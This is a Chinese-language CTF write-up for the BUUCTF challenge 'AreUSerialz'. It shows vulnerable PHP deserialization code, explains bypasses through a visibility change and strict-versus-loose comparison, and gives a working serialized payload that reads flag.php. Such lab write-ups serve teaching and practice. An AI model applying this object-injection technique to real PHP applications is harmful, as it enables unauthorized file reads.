buuctf-[网鼎杯 青龙组]AreUSerialz

先看

<?php
 
include("flag.php");
 
highlight_file(__FILE__);
 
class FileHandler {
 
    protected $op;
    protected $filename;
    protected $content;
 
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
 
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
 
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
 
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
 
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
 
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
 
}
 
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
 
if(isset($_GET{'str'})) {
 
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
 
}

开始对我们有提示flag.php，那就是到这里拿flag，看read()函数可以拿文件内容，再看到当op=2的时候可以运行函数read(),再通过output()函数显示出来。

1.先看is_valid()

要求我们传入的str的每个字母的ascii值在32和125之间。这里注意protected在序列化之后会出现不可见字符\00*\100,不符合上面的要求，这里绕过方法就是直接改成public

2.destruct()魔术方法会在传参是2的字符的时候，对传入的参数进行赋值,这里的比较是===强比较，而在process()函数是弱比较

绕过方法：可以使传入的op是数字2，从而使第一个强比较返回false,而使第二个弱比较返回true.

进行序列化

<?php
 
class FileHandler {
 
    public  $op = 2;
    public  $filename = "flag.php";
    public  $content = "2";        //因为destruct函数会将content改为空，所以content的值随意（但是要满足is_valid()函数的要求）
}
 
$a = new FileHandler();
$b = serialize($a);
echo $b;
 
?>

得到payloag：

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"2";}

传参得flag